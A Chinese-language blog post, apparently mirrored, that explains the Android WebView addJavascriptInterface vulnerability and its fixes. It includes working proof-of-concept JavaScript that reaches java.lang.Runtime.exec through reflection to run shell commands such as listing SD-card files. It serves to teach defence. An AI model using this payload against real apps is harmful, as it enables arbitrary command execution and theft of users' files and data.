1. 程式人生 > >Android WebView的Js物件注入漏洞解決方案(JSBridge存在的意義)

Android WebView的Js物件注入漏洞解決方案(JSBridge存在的意義)

最近在做一個專案過程中,發現了一個很嚴重的安全漏洞,這個漏洞是烏雲平臺(http://www.wooyun.org)報告出來的。

1,使用場景

我們很多時候要使用WebView來展示一個網頁,現在很多應用為了做到服務端可控,很多結果頁都是網頁的,而不是本地實現,這樣做有很多好處,比如介面的改變不需要重新發布新版本,直接在Server端修改就行了。用網頁來展示介面,通常情況下都或多或少都與Java程式碼有互動,比如點選網頁上面的一個按鈕,我們需要知道這個按鈕點選事件,或者我們要呼叫某個方法,讓頁面執行某種動作,為了實現這些互動,我們通常都是使用JS來實現,而WebView已經提供了這樣的方法,具體用法如下:
  1. mWebView.getSettings().setJavaScriptEnabled(
    true);  
  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
我們向WebView註冊一個名叫“jsInterface”的物件,然後在JS中可以訪問到jsInterface這個物件,就可以呼叫這個物件的一些方法,最終可以呼叫到Java程式碼中,從而實現了JS與Java程式碼的互動。 我們一起來看看關於addJavascriptInterface方法在Android官網的描述:
  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level  or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
  • The Java object's fields are not accessible.
簡單地說,就是用addJavascriptInterface可能導致不安全,因為JS可能包含惡意程式碼。今天我們要說的這個漏洞就是這個,當JS包含惡意程式碼時,它可以幹任何事情。

2,漏洞描述

通過JavaScript,可以訪問當前裝置的SD卡上面的任何東西,甚至是聯絡人資訊,簡訊等。這很噁心吧,嘎嘎。好,我們一起來看看是怎麼出現這樣的錯誤的。可以去看看烏雲平臺上的這個bug描述:
猛點這裡
1,WebView添加了JavaScript物件,並且當前應用具有讀寫SDCard的許可權,也就是:android.permission.WRITE_EXTERNAL_STORAGE 2,JS中可以遍歷window物件,找到存在“getClass”方法的物件的物件,然後再通過反射的機制,得到Runtime物件,然後呼叫靜態方法來執行一些命令,比如訪問檔案的命令. 3,再從執行命令後返回的輸入流中得到字串,就可以得到檔名的資訊了。然後想幹什麼就幹什麼,好危險。核心JS程式碼如下: [javascript] view plain copy
  1. function execute(cmdArgs)  
  2. {  
  3.     for (var obj in window) {  
  4.         if ("getClass"in window[obj]) {  
  5.             alert(obj);  
  6.             return  window[obj].getClass().forName("java.lang.Runtime")  
  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  8.         }  
  9.     }  
  10. }   

3,漏洞證明

舉例一:為了證明這個漏洞,寫了一個demo來說明。我就只是載入一個包含惡意JS程式碼的本地網頁,HTML其程式碼如下:
  1. <html>
  2.   <head>
  3.     <metahttp-equiv="Content-Type"content="text/html; charset=UTF-8">
  4.     <script>
  5.       var i=0;  
  6.       function getContents(inputStream)  
  7.       {  
  8.         var contents = ""+i;  
  9.         var b = inputStream.read();  
  10.         var i = 1;  
  11.         while(b != -1) {  
  12.             var bString = String.fromCharCode(b);  
  13.             contents += bString;  
  14.             contents += "\n"  
  15.             b = inputStream.read();  
  16.         }  
  17.         i=i+1;  
  18.         return contents;  
  19.        }  
  20.        function execute(cmdArgs)  
  21.        {  
  22.         for (var obj in window) {  
  23.             console.log(obj);  
  24.             if ("getClass" in window[obj]) {  
  25.                 alert(obj);  
  26.                 return window[obj].getClass().forName("java.lang.Runtime").  
  27.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  28.              }  
  29.          }  
  30.        }   
  31.       var p = execute(["ls","/mnt/sdcard/"]);  
  32.       document.write(getContents(p.getInputStream()));  
  33.     </script>
  34.     <scriptlanguage="javascript">
  35.       function onButtonClick()   
  36.       {  
  37.         // Call the method of injected object from Android source.  
  38.         var text = jsInterface.onButtonClick("從JS中傳遞過來的文字!!!");  
  39.         alert(text);  
  40.       }  
  41.       function onImageClick()   
  42.       {  
  43.         //Call the method of injected object from Android source.  
  44.         var src = document.getElementById("image").src;  
  45.         var width = document.getElementById("image").width;  
  46.         var height = document.getElementById("image").height;  
  47.         // Call the method of injected object from Android source.  
  48.         jsInterface.onImageClick(src, width, height);  
  49.       }  
  50.     </script>
  51.   </head>
  52.   <body>
  53.       <p>點選圖片把URL傳到Java程式碼</p>
  54.       <imgclass="curved_box"id="image"
  55.          onclick="onImageClick()"
  56.          width="328"
  57.          height="185"
  58.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
  59.          onerror="this.src='background_chl.jpg'"/>
  60.     </p>
  61.     <buttontype="button"onclick="onButtonClick()">與Java程式碼互動</button>
  62.   </body>
  63. </html>
這段HTML的執行效果如下:
圖一:期望執行結果圖 上圖中,點選按鈕後,JS中傳遞 一段文字到Java程式碼,顯示一下個toast,點選圖片後,把圖片的URL,width,height傳到Java層,也用toast顯示出來。 要實現這樣的功能,就需要注Java物件。 簡單說明一下 1,請看execute()這個方法,它遍歷所有window的物件,然後找到包含getClass方法的物件,利用這個物件的類,找到java.lang.Runtime物件,然後呼叫“getRuntime”靜態方法方法得到Runtime的例項,再呼叫exec()方法來執行某段命令。 2,getContents()方法,從流中讀取內容,顯示在介面上。 3,關鍵的程式碼就是以下兩句 [javascript] view plain copy
  1. return window[obj].getClass().forName("java.lang.Runtime").  
  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
Java程式碼實現如下:
  1. mWebView = (WebView) findViewById(R.id.webview);  
  2. mWebView.getSettings().setJavaScriptEnabled(true);  
  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
  4. mWebView.loadUrl("file:///android_asset/html/test.html");  
需要新增的許可權:
  1. <uses-permissionandroid:name="android.permission.INTERNET"/>
  2. <uses-permissionandroid:name="android.permission.ACCESS_NETWORK_STATE"/>
  3. <uses-permissionandroid:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
當點選LOAD選單後,執行截圖如下:(理論上應該出現圖一介面)
圖二:實際執行結果,列出了SDCard中的檔案 舉例二:360瀏覽器也存在這個問題,我測試的系統是android 4.0.2,360瀏覽器版本是:4.8.7 在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,然後前往,它會出現如下的介面
圖三:360瀏覽器執行結果 說明:其中searchBoxJavaBridge_不是360注入的物件,而是WebView內部注入的,這是在3.0以後的Android系統上新增的。 在關閉這個對話方塊之後,它會列出當前SDCard上面的所有檔案列表,如下圖所示
圖四:錯誤結果

4,解決方案

1,Android 4.2以上的系統 在Android 4.2以上的,google作了修正,通過在Java的遠端方法上面宣告一個@JavascriptInterface,如下面程式碼:
  1. class JsObject {  
  2.    @JavascriptInterface
  3.    public String toString() { return"injectedObject"; }  
  4. }  
  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  
  6. webView.loadData("""text/html"null);  
  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  
2,Android 4.2以下的系統 這個問題比較難解決,但也不是不能解決。 首先,我們肯定不能再呼叫addJavascriptInterface方法了。關於這個問題,最核心的就是要知道JS事件這一個動作,JS與Java進行互動我們知道,有以下幾種,比prompt, alert等,這樣的動作都會對應到WebChromeClient類中相應的方法,對於prompt,它對應的方法是onJsPrompt方法,這個方法的宣告如下:
  1. publicboolean onJsPrompt(WebView view, String url, String message,   
  2.     String defaultValue, JsPromptResult result)  
通過這個方法,JS能把資訊(文字)傳遞到Java,而Java也能把資訊(文字)傳遞到JS中,通知這個思路我們能不能找到解決方案呢? 經過一番嘗試與分析,找到一種比較可行的方案,請看下面幾個小點: 【1】讓JS呼叫一個Javascript方法,這個方法中是呼叫prompt方法,通過prompt把JS中的資訊傳遞過來,這些資訊應該是我們組合成的一段有意義的文字,可能包含:特定標識,方法名稱,引數等。在onJsPrompt方法中,我們去解析傳遞過來的文字,得到方法名,引數等,再通過反射機制,呼叫指定的方法,從而呼叫到Java物件的方法。 【2】關於返回值,可以通過prompt返回回去,這樣就可以把Java中方法的處理結果返回到Js中。 【3】我們需要動態生成一段宣告Javascript方法的JS指令碼,通過loadUrl來載入它,從而註冊到html頁面中,具體的程式碼如下: [javascript] view plain copy
  1. javascript:(function JsAddJavascriptInterface_(){  
  2.     if (typeof(window.jsInterface)!='undefined') {      
  3.         console.log('window.jsInterface_js_interface_name is exist!!');}   
  4. 相關推薦

    Android WebView的Js物件注入漏洞解決方案JSBridge存在的意義

    最近在做一個專案過程中,發現了一個很嚴重的安全漏洞,這個漏洞是烏雲平臺(http://www.wooyun.org)報告出來的。 1,使用場景 我們很多時候要使用WebView來展示一個網頁,現在很多應用為了做到服務端可控,很多結果頁都是網頁的,而不是本地實現,這樣做有很多好處,比如介面的改變不需要重新發布

    Android Studio與Android SDK 線上更新的解決方案1.3.2

    1、Android Studio更新 問題:在Android Studio中,點選help-Check for Update,會出現如下錯誤: 解決方案:開啟Android Studio的安裝目錄,

    Android SDK Manager國內無法更新的解決方案親測有效

    轉自 Android SDK Manager國內無法更新的解決方案(親測有效) 現在由於GWF,google基本和咱們說咱見了,就給現在在做Android 或者想學習Android 的朋友帶來了諸多的不便,最簡單的就是Android SDK Manager 你無法更新了。 現在這裡有一

    Android安全常見風險處理解決方案附程式碼

    一、資原始檔保護 二、Activity和Service越權檢測 修改export=false 三、Activity劫持檢測 處理檢測app進去後臺的時候提示使用者 也就是在onPause

    webservice XML實體注入漏洞解決方案

    漏洞描述 目標存在webservice XML實體注入漏洞。XML是可擴充套件標記語言,標準通用標記語言的子集,是一種用於標記電子檔案使其具有結構性的標記語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。當允許引用外部實體時,通過構造

    NopCommerce 事務解決方案測試文檔

    spa nop 模擬 comm nbsp 接口設計 opc 實體 com 首先我們先看數據庫中的數據表(Forums_Group)表的數據 然後我們開始測試,首先不用事務插入,測試代碼: 測試結果: 表數據: 接下來我們模擬一個錯誤,依然不用事

    ubuntu18.04 沒聲音解決方案坑自己版

    回放 font ubunt ubuntu all sudo 是我 打開 開發 那啥,半個月沒開電腦了,這幾天打開發現系統沒聲了 那咋辦呢,修一修唄 搜索了下問題,還挺簡單的 1 jiang@ryzen:~$ sudo apt install pavucontrol 打開

    IDEA建立struct2問題報錯解決方案親測有效

    報錯案例 [2018-10-06 03:30:14,199] Artifact untitled1:war exploded: Artifact is being deployed, please wait... 06-Oct-2018 15:30:14.824 警告 [RM

    針對Unity教程不能正常使用的某種情況的解決方案Unity學習記錄①

    Unity學習記錄①: 關於教程無法正常執行的問題 可能有的同學在從UnityHub上開官方教程的時候會遇到這種情況: 直接彈出了這種介面而沒有官方教程的親切對話方塊 (我有問過學長,據說是版本問題,GetStarted這套教程是2017版本的,可能在新的版本就會出現這種情況) (而且

    maven-replacer-plugin 靜態資源版本號解決方案css/js等

    本文介紹如何使用 maven 的 com.google.code.maven-replacer-plugin 外掛來自動新增版本號,防止瀏覽器快取。 目錄 1.解決方案 2.原始檔案和最終生成效果 3.pom.xml 中外掛新增 4.html中 css/js 檔案引用規則 5.結語 1.解決方案 解

    webservice介面實現資料共享的實現的初步解決方案更新、刪除

    一、伺服器A和伺服器B為對方設定專門的資料庫查詢介面,通過SOAP或者HTTP協議形成相互通訊的功能。 資料編輯操作實現伺服器相互通訊的功能示例(伺服器A和伺服器B):伺服器A為伺服器提B供web service專用服務介面,在使用者進行資料編輯(伺服器A端的訊息)操作動作訊息的時候,伺服器

    微信小程式 - 介面更新記錄以及解決方案2018/12/26

    2018/8/17 - 背景音訊需要在app.json新增requireBackGroundModes   2018/9/12 - 微信更改獲取使用者資訊介面/獲取位置等介面 - button       2018/12/26 - 傲嬌的App

    Multisim 安裝報錯:encountered an improper argument 解決方案部分儀器實用

    在進行Multisim 12.0 安裝時,將下載好的安裝包解壓以後沒有彈出下一步安裝步驟,這個時候到解壓完以後的安裝路徑下面去,看到了autorun.exe ,點選autorun.exe檔案系統沒反應或者出現“encountered an improper argument”

    SAP解決方案典型業務場景

    一、SAP解決方案(典型業務場景)       在華為雲上部署SAP業務,能夠充分利用華為雲大規格、高效能、高安全和高可靠的能力,以及全生命週期的管理服務,幫助企業簡化管理、節省成本、高效運營,快速實現數字化轉型1.1、全系統上雲場景將整體SAP系統部署在華為雲上,租戶通過I

    ubuntu中提示找不到make命令的解決方案command not found

    這篇微博轉載自http://blog.csdn.net/fenglibing/article/details/7096556,感謝博主。 第一種方式:利用安裝盤修復 今天遇到一ubuntu,別人剛裝的,我下載了ncftp,準備從其它地方把檔案搬過來,把 ncftp下載

    “ADB Interface”安裝失敗的問題解決方案親測可行

    在學習Android的過程中,想要通過真機對應用程式進行除錯,電腦連線USB安裝驅動時並不順利,彈出提示為 ADB Interface驅動未安裝,如圖: Android ADB Interface是一個支援android和PC連線的程式,通過它Windows就可以自動識別並安裝驅動軟

    針對谷歌預設最小字型12px的正確解決方案 css、html

      今天晨會,產品要求把以前12px的字型改小一點,我心想這有什麼難的,就隨口答應了。哪知,改css的時候,谷歌瀏覽器中font-size小於12px時,字型就不會再縮小了。當時我的第一反應就是會不會是其他css把字型覆蓋了。結果看了半天也沒發現。於是,只百度一夥了,結果還真讓人大吃一驚:原來谷歌以及谷歌核心

    Android程式設計心得-常見問題解決辦法不斷更新中..

    1.進行模擬器除錯時出現 Failed to install Remote_Monitoring.apk on device 'emulator-5554': timeout      解決辦法:在Eclipse-->Window-->Preferences--

    Javaweb開發遇到的問題及解決方案2017.5.18

    1.利用eclipse新建的Javaweb專案沒有部署描述符web.xml檔案怎麼辦? 右鍵專案名稱->Java EE Tools->Generate Deployment descriptor stub 2.專案釋出時,src資料夾裡的java原始檔編譯後生

    JS改變input的value值不觸發onchange事件解決方案超簡版

    監聽js改變input的值觸發的onchange事件  $("#inpstart").attr("value",$("#inpend")[0].value); 當 我們像上面這樣給一個input賦值時,由於onchange時間對input框不起作用,大家首先會想到使用